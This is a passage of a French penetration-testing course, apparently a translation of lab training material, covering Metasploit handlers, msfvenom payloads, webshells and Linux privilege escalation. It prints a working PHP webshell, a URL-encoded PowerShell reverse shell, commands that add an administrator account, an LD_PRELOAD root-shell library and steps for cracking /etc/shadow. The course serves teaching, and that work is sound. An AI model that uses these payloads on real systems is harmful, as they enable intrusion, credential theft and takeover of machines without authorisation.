Dans les exemples ci-dessus, la charge utile utilisée était shell_reverse_tcp. Cela indique qu'il
s'agissait d'une charge utile sans étape. Comment? Les charges utiles sans étape sont indiquées par
des traits de soulignement (_). L'équivalent étagé de cette charge utile serait :

shell/reverse_tcp

Comme les charges utiles mises en scène sont indiquées par une autre barre oblique ( /).

Cette règle s'applique également aux charges utiles Meterpreter. Une charge utile Meterpreter étagée
Windows 64 bits ressemblerait à ceci :
Sommaire 15
windows/x64/meterpreter/reverse_tcp

Une charge utile Meterpreter Linux 32 bits sans étape ressemblerait à ceci :

linux/x86/meterpreter_reverse_tcp

A part le msfconsoleman page, l'autre chose importante à noter lorsque vous travaillez avec
msfvenom est :

msfvenom --list payloads

Cela peut être utilisé pour répertorier toutes les charges utiles disponibles, qui peuvent ensuite être
redirigées vers grep pour rechercher un ensemble spécifique de charges utiles. Par exemple :

Cela nous donne un ensemble complet de charges utiles Linux meterpreter pour les cibles 32 bits.

1.10 Metasploit multi/gestionnaire

Multi/Handler est un superbe outil pour attraper les shells inversés. C'est essentiel si vous voulez
utiliser des shells Meterpreter, et c'est la référence lorsque vous utilisez des charges utiles avec etape.

Heureusement, il est relativement facile à utiliser :

1. Ouvrez Metasploit avec msfconsole

2. Taper use multi/handler, et appuyez sur entrée

Nous sommes maintenant prêts à démarrer une session multi/gestionnaire. Examinons les options
disponibles à l'aide de la commande options :

Sommaire 16
Il y a trois options que nous devons définir : charge utile, LHOST et LPORT. Celles-ci sont toutes
identiques aux options que nous avons définies lors de la génération du shellcode avec Msfvenom -
une charge utile spécifique à notre cible, ainsi qu'une adresse d'écoute et un port avec lequel nous
pouvons recevoir un shell. Notez que le LHOST doit être spécifié ici, car metasploit n'écoutera pas sur
toutes les interfaces réseau comme netcat ou socat ; il doit être indiqué une adresse spécifique à
écouter (lorsque vous utilisez un VPN, ce sera votre adresse tun0 ). Nous définissons ces options
avec les commandes suivantes :

• set PAYLOAD <payload>

• set LHOST <listen-address>
• set LPORT <listen-port>

Nous devrions maintenant être prêts à démarrer l'écouteur !

Faisons cela en utilisant l’exploit -jcommande. Cela indique à Metasploit de lancer le module, en
s'exécutant comme une tâche en arrière-plan.

Vous remarquerez peut-être que dans la capture d'écran ci-dessus, Metasploit écoute sur un port sous
1024. Pour ce faire, Metasploit doit être exécuté avec les autorisations sudo.

Sommaire 17
Lorsque la charge utile étagée générée dans la tâche précédente est exécutée, Metasploit reçoit la
connexion, envoyant le reste de la charge utile et nous donnant un shell inversé :

Notez que, comme le multi/handler était à l'origine en arrière-plan, nous devions utiliser sessions
1pour le mettre à nouveau au premier plan. Cela a fonctionné car c'était la seule session en cours
d'exécution. S'il y avait eu d'autres sessions actives, nous aurions dû utiliser sessions pour voir toutes
les sessions actives, puis utilisez sessions <number> pour sélectionner la session appropriée au
premier plan. Ce numéro aurait également été affiché dans la ligne où le shell a été ouvert (voir " Shell
session 1 Command ").

1.11 WebShells
Il y a des moments où nous rencontrons des sites Web qui nous permettent de télécharger, d'une
manière ou d'une autre, un fichier exécutable. Idéalement, nous utiliserions cette opportunité pour
télécharger du code qui activerait un shell inversé ou lié, mais parfois ce n'est pas possible. Dans ces
cas, nous téléchargeons plutôt un webshell .

"Webshell" est un terme familier désignant un script qui s'exécute à l'intérieur d'un serveur Web
(généralement dans un langage tel que PHP ou ASP) qui exécute du code sur le serveur.
Essentiellement, les commandes sont entrées dans une page Web - soit via un formulaire HTML, soit
directement en tant qu'arguments dans l'URL - qui sont ensuite exécutées par le script, avec les
résultats renvoyés et écrits sur la page. Cela peut être extrêmement utile s'il y a des pare-feux en
place, ou même simplement comme un tremplin vers une coque inversée ou liée à part entière.

Comme PHP est toujours le langage de script côté serveur le plus courant, examinons un code simple
pour cela.

Dans un format très basique d'une ligne :

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

Cela prendra un paramètre GET dans l'URL et l'exécutera sur le système avec shell_exec(). Cela
signifie essentiellement que toutes les commandes que nous entrons dans l'URL après ?cmd=sera
exécuté sur le système - que ce soit Windows ou Linux. Les éléments "pre" permettent de s'assurer
que les résultats sont correctement formatés sur la page.

Sommaire 18
Voyons cela en action :

Notez que lors de la navigation dans le shell, nous avons utilisé un paramètre GET "cmd" avec la
commande "ifconfig", qui a correctement retourné les informations réseau de la box. Autrement dit, en
saisissant le ifconfigcommande (utilisée pour vérifier les interfaces réseau sur une cible Linux) dans
l'URL de notre shell, elle a été exécutée sur le système, avec les résultats qui nous sont renvoyés.
Cela fonctionnerait pour toute autre commande que nous avons choisi d'utiliser (par exemple whoami,
hostname, arch, etc).

Comme mentionné précédemment, il existe une variété de webshells disponibles sur Kali par défaut à
/usr/share/webshells-- y compris le tristement célèbre PentestMonkey php-reverse-shell -- un shell
inversé complet écrit en PHP. Notez que la plupart des shells inverses génériques et spécifiques à un
langage (par exemple, PHP) sont écrits pour des cibles basées sur Unix telles que les serveurs Web
Linux. Ils ne fonctionneront pas sur Windows par défaut.

Lorsque la cible est Windows, il est souvent plus facile d'obtenir RCE à l'aide d'un shell Web ou en
utilisant msfvenom pour générer un shell inverse/bind dans la langue du serveur. Avec la première
méthode, l'obtention de RCE se fait souvent avec un Powershell Reverse Shell codé en URL. Cela
serait copié dans l'URL en tant que cmddispute:

powershell%20-c%20%22%24client%20%3D%20New-
Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%
3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7
C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C
%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-
Object%20-
TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3
B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-
String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2
B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.
encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24se
ndbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close
%28%29%22

Sommaire 19
C'est le même shell que nous avons rencontré dans la tâche 8, cependant, il a été encodé en URL
pour être utilisé en toute sécurité dans un paramètre GET. N'oubliez pas que l'adresse IP et le port (en
gras, vers la fin de la ligne supérieure) devront toujours être modifiés dans le code ci-dessus.

Ok, nous avons un shell. Maintenant quoi ?

Nous avons couvert de nombreuses façons de générer, envoyer et recevoir des shells. La seule chose
qu'ils ont tous en commun est qu'ils ont tendance à être instables et non interactifs. Même les shells
de style Unix qui sont plus faciles à stabiliser ne sont pas idéaux. Alors, que pouvons-nous faire à ce
sujet ?

Sur Linux, idéalement, nous recherchons des opportunités d'accéder à un compte d'utilisateur. Clés
SSH stockées sur /home/<user>/. ssh sont souvent un moyen idéal de le faire. Dans les CTF, il n'est
pas rare non plus de trouver des informations d'identification qui traînent quelque part sur la boîte.
Certains exploits vous permettront également d'ajouter votre propre compte. En particulier, quelque
chose comme Dirty C0w ou un /etc/shadow ou /etc/passwd inscriptible vous donnerait rapidement un
accès SSH à la machine, en supposant que SSH est ouvert.

Sous Windows, les options sont souvent plus limitées. Il est parfois possible de trouver des mots de
passe pour exécuter des services dans le registre. Les serveurs VNC, par exemple, laissent
fréquemment des mots de passe dans le registre stockés en clair. Certaines versions du serveur FTP
FileZilla laissent également les informations d'identification dans un fichier XML à C:\Program
Files\FileZilla Server\FileZilla Server.xml
ou C:\xampp\FileZilla Server\FileZilla Server.xml
. Ceux-ci peuvent être des hachages MD5 ou en clair, selon la version.

Idéalement, sous Windows, vous devriez obtenir un shell fonctionnant en tant qu'utilisateur SYSTEM
ou un compte administrateur fonctionnant avec des privilèges élevés. Dans une telle situation, il est
possible d'ajouter simplement votre propre compte (dans le groupe des administrateurs) à la machine,
puis de vous connecter via RDP, telnet, winexe, psexec, WinRM ou un certain nombre d'autres
méthodes, en fonction des services exécutés sur la boîte .

La syntaxe pour cela est la suivante :

net user <username> <password> /add

net localgroup administrators <username> /add

L'important à retenir de cette tâche :

Les shells Reverse et Bind sont une technique essentielle pour obtenir l'exécution de code à distance
sur une machine, cependant, ils ne seront jamais aussi complets qu'un shell natif. Idéalement, nous
voulons toujours utiliser une méthode "normale" pour accéder à la machine, car cela sera
invariablement plus facile à utiliser pour une exploitation ultérieure de la cible.

Sommaire 20
 2. Linux PrivEsc

L'escalade de privilèges est un voyage. Il n'y a pas de solution miracle et tout dépend de la
configuration spécifique du système cible. La version du noyau, les applications installées, les
langages de programmation pris en charge, les mots de passe des autres utilisateurs sont quelques
éléments clés qui affecteront votre route vers le shell root.

2.1 Qu'est-ce que l'élévation de privilèges ?

Que signifie "l'élévation des privilèges" ?

À la base, l'escalade de privilèges implique généralement de passer d'un compte d'autorisation

inférieur à un compte d'autorisation supérieur. Plus techniquement, il s'agit de l'exploitation d'une
vulnérabilité, d'un défaut de conception ou d'une erreur de configuration dans un système
d'exploitation ou une application pour obtenir un accès non autorisé à des ressources généralement
réservées aux utilisateurs.

Pourquoi c'est important ?

Il est rare, lors d'un test d'intrusion dans le monde réel, de pouvoir prendre pied (accès initial) qui vous
donne un accès administratif direct. L'élévation des privilèges est cruciale car elle vous permet
d'obtenir des niveaux d'accès d'administrateur système, ce qui vous permet d'effectuer des actions
telles que :

• Réinitialiser les mots de passe

• Contourner les contrôles d'accès pour compromettre les données protégées
• Modification des configurations logicielles
• Activer la persistance
• Modification du privilège des utilisateurs existants (ou nouveaux)
• Exécuter n'importe quelle commande administrative
•

2.2 Énumération
L'énumération est la première étape que vous devez franchir une fois que vous avez accès à n'importe
quel système. Vous avez peut-être accédé au système en exploitant une vulnérabilité critique qui a
entraîné un accès au niveau racine ou simplement trouvé un moyen d'envoyer des commandes à
l'aide d'un compte à faibles privilèges. Les engagements de test d'intrusion, contrairement aux
machines CTF, ne se terminent pas une fois que vous avez accès à un système ou à un niveau de
privilège utilisateur spécifique. Comme vous le verrez, le dénombrement est aussi important pendant
la phase post-compromis qu'avant.

Hostname

La commande hostname renverra le nom d'hôte de la machine cible. Bien que cette valeur puisse
facilement être modifiée où avoir une chaîne relativement dénuée de sens (par exemple, Ubuntu-
3487340239), dans certains cas, elle peut fournir des informations sur le rôle du système cible au sein
du réseau de l'entreprise (par exemple, SQL-PROD-01 pour un serveur SQL de production) .

Sommaire 21
uname -a

Imprimera des informations système nous donnant des détails supplémentaires sur le noyau utilisé par
le système. Cela sera utile lors de la recherche de vulnérabilités potentielles du noyau qui pourraient
conduire à une élévation des privilèges.

/proc/version

Le système de fichiers proc (procfs) fournit des informations sur les processus du système cible. Vous
trouverez proc sur de nombreuses versions Linux différentes, ce qui en fait un outil essentiel à avoir
dans votre arsenal.

Regarder /proc/version peut vous donner des informations sur la version du noyau et des données
supplémentaires telles que si un compilateur (par exemple GCC) est installé.

/etc/issue

Les systèmes peuvent également être identifiés en regardant le dossier /etc/issue. Ce fichier contient
généralement des informations sur le système d'exploitation, mais peut facilement être personnalisé
ou modifié. Sur le sujet, tout fichier contenant des informations système peut être personnalisé ou
modifié. Pour une meilleure compréhension du système, il est toujours bon de regarder tout cela.

Commande ps

La commande ps est un moyen efficace de voir les processus en cours d'exécution sur un système
Linux. Dactylographie ps sur votre terminal affichera les processus pour le shell courant.

La sortie du ps(État du processus) affichera ce qui suit ;

• PID : L'ID du processus (unique au processus)

• TTY : Type de terminal utilisé par l'utilisateur
• Temps : quantité de temps CPU utilisée par le processus (ce n'est PAS la durée d'exécution de
ce processus)
• CMD : La commande ou l'exécutable en cours d'exécution (n'affichera PAS de paramètre de
ligne de commande)

La commande "ps" fournit quelques options utiles.

• ps -A: Afficher tous les processus en cours d'exécution

• ps axjf: Afficher l'arborescence des processus (voir la formation de l'arborescence jusqu'à ps
axjfest exécuté ci-dessous)

• ps aux: L'option aux affichera les processus pour tous les utilisateurs (a), affichera l'utilisateur
qui a lancé le processus (u) et affichera les processus qui ne sont pas attachés à un terminal
(x). En regardant la sortie de la commande ps aux, nous pouvons avoir une meilleure
compréhension du système et des vulnérabilités potentielles.

Sommaire 22
env

La commande env affichera les variables d'environnement.

La variable PATH peut avoir un compilateur ou un langage de script (par exemple Python) qui pourrait
être utilisé pour exécuter du code sur le système cible ou utilisé pour l'élévation des privilèges.

sudo -l

Le système cible peut-être configurer pour permettre aux utilisateurs d'exécuter certaines (ou toutes)
commandes avec des privilèges root. La commande sudo -l peut être utilisée pour répertorier toutes
les commandes que votre utilisateur peut exécuter à l'aide sudo.

ls

L'une des commandes courantes utilisées sous Linux est probablement ls.

Lors de la recherche de vecteurs potentiels d'escalade de privilèges, n'oubliez pas de toujours utiliser
la commande ls avec le paramètre -la. L'exemple ci-dessous montre comment le fichier "secret.txt"
peut facilement être manqué en utilisant les commandes ls ou ls -l.

Sommaire 23
Id

La commande id fournira un aperçu général du niveau de privilège de l'utilisateur et appartenances au

groupe.

Il convient de rappeler que la commande id peut également être utilisée pour obtenir les mêmes
informations pour un autre utilisateur comme indiqué ci-dessous.

/etc/passwd

Lire le dossier /etc/passwd peut être un moyen facile de découvrir des utilisateurs sur le système.

Sommaire 24
Bien que la sortie puisse être longue et un peu intimidante, elle peut facilement être coupé et converti
en une liste utile pour les attaques par force brute.

N'oubliez pas que cela renverra tous les utilisateurs, dont certains sont système ou utilisateurs du
service qui ne seraient pas très utiles. Une autre approche pourrait être grep pour "maison" car les
vrais utilisateurs auront très probablement leur dossier sous le répertoire "home".

History

Regarder plus tôt commandes avec la commande history peut nous donner une idée du système cible
et, bien que rarement, ont stocké des informations telles que des mots de passe ou des noms
d'utilisateur.

ifconfig

Le système cible peut-être un pivot vers un autre réseau. La commande ifconfig nous donnera des
informations sur les interfaces réseau du système. L'exemple ci-dessous montre que le système cible
à trois interfaces (eth0, tun0 et tun1). Notre machine d'attaque peut atteindre l'interface eth0 mais ne
peut accéder directement aux deux autres réseaux.

Sommaire 25
Ceci peut être confirmé à l'aide de la commande ip route pour voir laquelle des routes réseau existent.

netstat

Suite à une première vérifier les interfaces existantes et les routes réseau, cela vaut la peine de
chercher dans les communications existantes. La commande peut être utilisée avec plusieurs options
différentes pour recueillir des informations sur les Connexions.

Sommaire 26
 • netstat -a: spectacles tous les ports
d'écoute et les connexions établies.
• netstat -at ou netstat -au peut également
être utilisé pour lister les protocoles TCP
ou UDP respectivement.
• netstat -l: liste ports en mode "écoute".
Ces ports sont ouverts et prêts à accepter
les connexions entrantes. Ceci peut être
utilisé avec l'option "t" pour lister
uniquement les ports qui écoutent en
utilisant le protocole TCP (ci-dessous)

• netstat -s: répertorie les statistiques

d'utilisation du réseau par protocole (ci-
dessous) peut également être utilisé avec l’
options -t ou -u pour limiter la sortie vers un
protocole spécifique.

• netstat -tp: liste les connexions avec le

nom du service et le PID informations.

Ceci peut également être utilisé avec le -l possibilité de lister les ports d'écoute (dessous)

Nous pouvons voir que la colonne "PID/nom du programme" est vide car ce processus appartient à un
autre utilisateur.

Ci-dessous c'est pareil la commande exécutée avec les privilèges root et révèle ces informations
comme 2641/nc (netcat)

Sommaire 27
 • netstat -i: affiche les statistiques de l'interface. On voit ci-dessous que « eth0 » et « tun0 » sont
plus actifs que « tun1 ».

L’utilisation de Netstat que vous verrez probablement le plus souvent dans les articles de blog, les
rédactions et les cours est netstat -ano qui pourrait être cassé vers le bas comme suit ;

• -a: Afficher tout prises

• -n: Ne pas résoudre des noms
• -o: Afficher les minuteries

Find commande

Rechercher dans le système cible des informations importantes et les vecteurs potentiels d'escalade
de privilèges peuvent être fructueux. L'intégré La commande "trouver" est utile et mérite d'être
conservée dans votre arsenal.

Vous trouverez ci-dessous quelques exemples utiles pour la commande "rechercher".

Rechercher des fichiers :

• find . -name flag1.txt: trouvez le fichier nommé "flag1.txt" dans le répertoire actuel
• find /home -name flag1.txt: recherchez les noms de fichiers "flag1.txt" dans le répertoire /home
• find / -type d -name config: trouvez le répertoire nommé config sous "/"
• find / -type f -perm 0777: trouver des fichiers avec les permissions 777 (fichiers lisibles,
inscriptibles et exécutables par tous les utilisateurs)
• find / -perm a=x: trouver les fichiers exécutables
• find /home -user frank: trouver tous les fichiers pour l'utilisateur "frank" sous "/domicile"
• find / -mtime 10: trouver les fichiers qui ont été modifiés au cours des 10 dernières journées
• find / -atime 10: trouver les fichiers qui ont été consultés au cours des 10 dernières journée
• find / -cmin -60: recherche les fichiers modifiés au cours de la dernière heure (60 minutes)
• find / -amin -60: trouve les accès aux fichiers au cours de la dernière heure (60 minutes)
• find / -size 50M: trouver des fichiers d'une taille de 50 Mo

Sommaire 28
Cette commande peut également être utilisée avec les signes (+) et (-) pour spécifier un fichier qui est
plus grand ou plus petit que la taille donnée.

L'exemple ci-dessus renvoie des fichiers dont la taille est

supérieure à 100 Mo. Il est important de noter que la
commande "find" a tendance à générer une erreur qui
rendent parfois la sortie difficile à lire. C'est pourquoi il
serait sage d'utiliser la commande "find" avec "-type f
2>/dev/null" pour rediriger les erreurs vers "/dev/null" et
avoir une sortie plus propre.

Dossiers et des fichiers qui peuvent être écrits ou exécutés à partir de :

• find / -writable -type d 2>/dev/null: Trouver accessible en écriture par le monde Dossiers
• find / -perm -222 -type d 2>/dev/null: Trouver accessible en écriture par le monde Dossiers
• find / -perm -o w -type d 2>/dev/null: Trouver accessible en écriture par le monde Dossiers

La raison pour laquelle nous voyons trois commandes "trouver" différentes qui pourraient
potentiellement conduire au même résultat peut être vu dans le manuel document. Comme vous
pouvez le voir ci-dessous, le paramètre perm affecte la façon dont « trouver » des œuvres.

• find / -perm -o x -type d 2>/dev/null: Rechercher des dossiers exécutables par tout le monde

Rechercher des outils de développement et des langages pris en charge :

• find / -name perl*

• find / -name python*
• find / -name gcc*

Rechercher des autorisations de fichiers spécifiques :

Voici un court exemple utilisé pour trouver des fichiers qui ont le bit SUID Positionner. Le bit SUID
permet au fichier de s'exécuter avec le niveau de privilège du compte qui le possède, plutôt que le
compte qui l'exécute. Cela permet un chemin d'escalade de privilèges intéressant, nous verrons plus
en détail sur la tâche 6. L'exemple ci-dessous est donné pour compléter le sujet sur le "trouver"
commande.

• find / -perm -u=s -type f 2>/dev/null: Rechercher des fichiers avec le SUID bit, ce qui nous
permet d'exécuter le fichier avec un niveau de privilège plus élevé que l'utilisateur actuel.

Sommaire 29
Commandes Général Linux

Comme nous sommes dans le Domaine Linux, la familiarité avec les commandes Linux, en général,
sera très utile. Veuillez passer un peu de temps à vous familiariser avec des commandes telles que
comme find, locate, grep, cut, sort, etc.

2.3 Outils d’énumération automatisé

Plusieurs outils peuvent vous aider à gagner du temps lors du dénombrement traiter. Ces outils ne
doivent être utilisés que pour gagner du temps sachant qu’il peut manquer certains vecteurs
d'escalade de privilèges. Ci-dessous une liste de outils d'énumération Linux populaires avec des liens
vers leur Github respectif dépôts.

L'environnement du système cible influencera l'outil que vous pouvez utiliser. Par exemple, vous ne
pourrez pas exécuter un outil écrit en Python s'il n'est pas installé sur le système cible. Cette c'est
pourquoi il vaut mieux en connaître quelques-uns plutôt que d’avoir un seul outil de référence.

• LinPeas : https://github.com/carlospolop/privilege-escalation-awesome-scripts-
suite/tree/master/linPEAS
• LinEnum : https://github.com/rebootuser/LinEnum
• LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
• Énumération intelligente Linux : https://github.com/diego-treitos/linux-smart-enumeration
• Vérificateur de confidentialité Linux : https://github.com/linted/linuxprivchecker

2.4 Élévation des privilèges : Kernel Exploits

L'escalade de privilèges conduit idéalement à des privilèges root. Cela peut parfois être réalisé
simplement en exploitant une vulnérabilité existante, ou dans certains cas en accédant à un autre
compte d'utilisateur qui a plus privilèges, informations ou accès.

A moins qu’une seule vulnérabilité conduit à un root shell, le processus d'élévation des privilèges
s'appuiera sur des erreurs de configuration et des autorisations laxistes.

Le noyau sous Linux systèmes gère la communication entre les composants tels que le mémoire sur
le système et les applications. Cette fonction critique nécessite que le noyau ait des privilèges
spécifiques ; ainsi, un succès exploit conduira potentiellement à des privilèges root.

L'exploit du noyau la méthodologie est simple ;

1. Identifiez la version du noyau

2. Chercher et trouver un code d'exploitation pour la version du noyau du système cible
3. Exécutez l'exploit

Bien qu'il semble simple, rappelez-vous qu'un exploit de noyau échoué peut conduire à un crash du
système. Assurez-vous que ce résultat potentiel est acceptable dans la portée de votre engagement
de test d'intrusion avant de tenter un exploit du noyau.

Sommaire 30
Sources de recherche :

1. En fonction de vos découvertes, vous pouvez utiliser Google pour rechercher un code
d'exploitation existant.
2. Des sources telles que https://www.linuxkernelcves.com/cves peuvent également être utiles.
3. Une autre alternative serait d'utiliser un script comme LES (Linux Exploit Suggester) mais
rappelez-vous que ces outils peuvent générer des faux positifs (signaler une vulnérabilité du
noyau qui n'affecte pas le système cible) ou des faux négatifs (ne signaler aucune vulnérabilité
du noyau bien que le noyau soit vulnérable).

Conseils/Remarques :

1. Être trop précis sur la version du noyau lors de la recherche d'exploits sur Google, Exploit-db ou
searchsploit
2. Assurez-vous de bien comprendre le fonctionnement du code d'exploitation AVANT de le
lancer. Certains codes d'exploitation peuvent apporter des modifications au système
d'exploitation qui les rendraient non sécurisés lors d'une utilisation ultérieure ou apporter des
modifications irréversibles au système, créant des problèmes plus tard. Bien sûr, ce ne sont
peut-être pas de grandes préoccupations dans un environnement de laboratoire ou de CTF,
mais ce sont des non-nos absolus lors d'un véritable engagement de test d'intrusion.
3. Certains exploits peuvent nécessiter une interaction supplémentaire une fois exécutés. Lisez
tous les commentaires et instructions fournis avec le code d'exploitation.
4. Vous pouvez transférer le code d'exploitation de votre machine vers le système cible en
utilisant le SimpleHTTPServerModule Python et wget respectivement.

2.5 Élévation des privilèges : Sudo

La commande sudo, par défaut, vous permet d'exécuter un programme avec les privilèges root. Dans
certaines conditions, les administrateurs système peuvent avoir besoin de donner aux utilisateurs
réguliers une certaine flexibilité sur leurs privilèges. Par exemple, un analyste SOC junior peut avoir
besoin d'utiliser Nmap régulièrement mais ne sera pas autorisé à bénéficier d'un accès root complet.
Dans cette situation, l'administrateur système peut autoriser cet utilisateur à n'exécuter Nmap qu'avec
des privilèges root tout en conservant son niveau de privilège habituel dans le reste du système.

Tout utilisateur peut vérifier sa situation actuelle liée aux privilèges root en utilisant la commande sudo
-l.

https://gtfobins.github.io/ est une source précieuse qui fournit des informations sur la façon dont tout
programme, sur lequel vous pouvez avoir des droits sudo, peut être utilisé.

Tirez parti des fonctions de l'application

Certaines applications n'auront pas d'exploit connu dans ce contexte. Une telle application que vous
pouvez voire est le serveur Apache2.

Dans ce cas, nous pouvons utiliser un "hack" pour divulguer des informations en exploitant une
fonction de l'application. Comme vous pouvez le voir ci-dessous, Apache2 a une option qui prend en
charge le chargement de fichiers de configuration alternatifs ( -f: spécifiez un ServerConfigFile
alternatif).

Sommaire 31
Chargement du /etc/shadowfichier utilisant cette option entraînera un message d'erreur qui inclut la
première ligne du /etc/shadowdossier.

Tirez parti de LD_PRELOAD

Sur certains systèmes, vous pouvez voir l'option d'environnement LD_PRELOAD.

LD_PRELOAD est une fonction qui permet à n'importe quel programme d'utiliser des bibliothèques
partagées. Ce post de blog vous donnera une idée des capacités de LD_PRELOAD. Si l'option
"env_keep" est activée, nous pouvons générer une bibliothèque partagée qui sera chargée et
exécutée avant l'exécution du programme. Veuillez noter que l'option LD_PRELOAD sera ignorée si
l'ID utilisateur réel est différent de l'ID utilisateur effectif.

Les étapes de ce vecteur d'escalade de privilèges peuvent être résumées comme suit ;

1. Vérifiez LD_PRELOAD (avec l'option env_keep)

2. Écrire un code C simple compilé en tant que fichier d'objet partagé (extension .so)
3. Exécutez le programme avec les droits sudo et l'option LD_PRELOAD pointant vers notre
fichier .so

Le code C générera simplement un shell racine et peut être écrit comme suit ;

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid (0);
system("/bin/bash");
}
Sommaire 32
Nous pouvons enregistrer ce code sous shell.c et le compiler à l'aide de gcc dans un fichier objet
partagé à l'aide des paramètres suivants ;

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Nous pouvons maintenant utiliser ce fichier objet partagé lors du lancement de tout programme que
notre utilisateur peut exécuter avec sudo. Dans notre cas, Apache2, find ou presque tous les
programmes que nous pouvons exécuter avec sudo peuvent être utilisés.

Nous devons exécuter le programme en spécifiant l'option LD_PRELOAD, comme suit ;

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

Cela se traduira par un shell spawn avec les privilèges root.

2.6 Privilège Escalation: SUID

Une grande partie des contrôles de privilèges Linux reposent sur le contrôle des interactions entre les
utilisateurs et les fichiers. Cela se fait avec des autorisations. À présent, vous savez que les fichiers
peuvent avoir des autorisations de lecture, d'écriture et d'exécution. Ceux-ci sont donnés aux
utilisateurs selon leurs niveaux de privilège. Cela change avec SUID (Set-user Identification) et SGID
(Set-group Identification). Ceux-ci permettent aux fichiers d'être exécutés avec le niveau d'autorisation
du propriétaire du fichier ou du propriétaire du groupe, respectivement.

Vous remarquerez que ces fichiers ont un bit "s" défini indiquant leur niveau d'autorisation spécial.

find / -type f -perm -04000 -ls 2>/dev/null listera les fichiers dont les bits SUID ou SGID sont définis.

Sommaire 33
Une bonne pratique serait de comparer les exécutables de cette liste avec GTFOBins (
https://gtfobins.github.io ). Cliquer sur le bouton SUID filtrera les binaires connus pour être exploitables
lorsque le bit SUID est défini (vous pouvez également utiliser ce lien pour une liste pré-filtrée
https://gtfobins.github.io/#+suid ).

La liste ci-dessus montre que nano a le bit SUID défini. Malheureusement, GTFObins ne nous offre
pas une victoire facile. Typiques des scénarios d'escalade de privilèges réels, nous devrons trouver
des étapes intermédiaires qui nous aideront à tirer parti de la minuscule découverte que nous avons.

Le jeu de bits SUID pour l'éditeur de texte nano nous permet de créer, modifier et lire des fichiers en
utilisant le privilège du propriétaire du fichier. Nano appartient à root, ce qui signifie probablement que
nous pouvons lire et modifier des fichiers à un niveau de privilège supérieur à celui de notre utilisateur
actuel. À ce stade, nous avons deux options de base pour l'escalade des privilèges : lire le fichier
/etc/shadow ou en ajoutant notre utilisateur à /etc/passwd.

Vous trouverez ci-dessous des étapes simples utilisant les deux vecteurs.

Lire le dossier /etc/shadow

Nous voyons que l'éditeur de texte nano a le bit SUID défini en exécutant la commande find / -type f -
perm -04000 -ls 2>/dev/null.

nano /etc/shadow imprimera le contenu du dossier /etc/shadow . Nous pouvons maintenant utiliser
l'outil unshadow pour créer un fichier crackable par John the Ripper. Pour y parvenir, unshadow a
besoin à la fois des dossiers /etc/shadow et /etc/passwd.

Sommaire 34
L'utilisation de l'outil d'effacement peut être vue ci-dessous ;
unshadow passwd.txt shadow.txt > passwords.txt

Avec la bonne liste de mots et un peu de chance, John the Ripper peut retourner un ou plusieurs mots
de passe en clair.

L'autre option serait d'ajouter un nouvel utilisateur disposant des privilèges root. Cela nous aiderait à
contourner le processus fastidieux de craquage de mot de passe. Vous trouverez ci-dessous un
moyen simple de le faire :

Nous aurons besoin de la valeur de hachage du mot de passe que nous voulons que le nouvel
utilisateur ait. Cela peut être fait rapidement en utilisant l'outil openssl sur Kali Linux.

Nous ajouterons ensuite ce mot de passe avec un nom d'utilisateur au /etc/passwd dossier.

Sommaire 35
Une fois notre utilisateur ajouté (veuillez noter comment root:/bin/bashavait l'habitude de fournissez un
shell racine), nous devrons basculer vers cet utilisateur et devrait avoir les privilèges root.

2.7 Élévation des privilèges : capacités

Une autre méthode que les administrateurs système peuvent utiliser pour augmenter le niveau de
privilège d'un processus ou d'un binaire est "Capabilities". Les fonctionnalités aident à gérer les
privilèges à un niveau plus granulaire. Par exemple, si l'analyste SOC a besoin d'utiliser un outil qui
doit initier des connexions socket, un utilisateur régulier ne pourra pas le faire. Si l'administrateur
système ne souhaite pas accorder à cet utilisateur des privilèges plus élevés, il peut modifier les
capacités du binaire. En conséquence, le binaire accomplirait sa tâche sans avoir besoin d'un
utilisateur avec des privilèges plus élevés.
La page de manuel des capacités fournit des informations détaillées sur son utilisation et ses options.

Nous pouvons utiliser l’outils getcap pour répertorier les fonctionnalités activées.

Lorsqu'il est exécuté en tant qu'utilisateur non privilégié, getcap -r /générera une énorme quantité
d'erreurs, il est donc recommandé de rediriger les messages d'erreur vers /dev/null.

Veuillez noter que ni vim ni sa copie n'ont le bit SUID défini. Ce vecteur d'escalade de privilèges n'est
donc pas détectable lors de l'énumération des fichiers à la recherche de SUID.

GTFObins a une bonne liste de fichiers binaires qui peuvent être exploités pour l'escalade des
privilèges si nous trouvons des fonctionnalités définies.

Nous remarquons que vim peut être utilisé avec la commande et la charge utile suivantes :

Cela lancera un shell racine comme indiqué ci-dessous ;

Sommaire 36
 2.8 Élévation des privilèges : tâches Cron
Les tâches cron sont utilisées pour exécuter des scripts ou des binaires à des moments précis. Par
défaut, ils s'exécutent avec le privilège de leurs propriétaires et non de l'utilisateur actuel. Bien que les
tâches cron correctement configurées ne soient pas intrinsèquement vulnérables, elles peuvent fournir
un vecteur d'escalade de privilèges dans certaines conditions.
L'idée est assez simple ; s'il y a une tâche planifiée qui s'exécute avec les privilèges root et que nous
pouvons changer le script qui sera exécuté, alors notre script s'exécutera avec les privilèges root.

Les configurations de tâches cron sont stockées sous forme de crontabs (tables cron) pour voir la
prochaine heure et la date d'exécution de la tâche.

Chaque utilisateur du système a son fichier crontab et peut exécuter des tâches spécifiques, qu'il soit
connecté ou non. Comme vous pouvez vous y attendre, notre objectif sera de trouver une tâche cron
définie par root et de lui faire exécuter notre script, idéalement un shell.

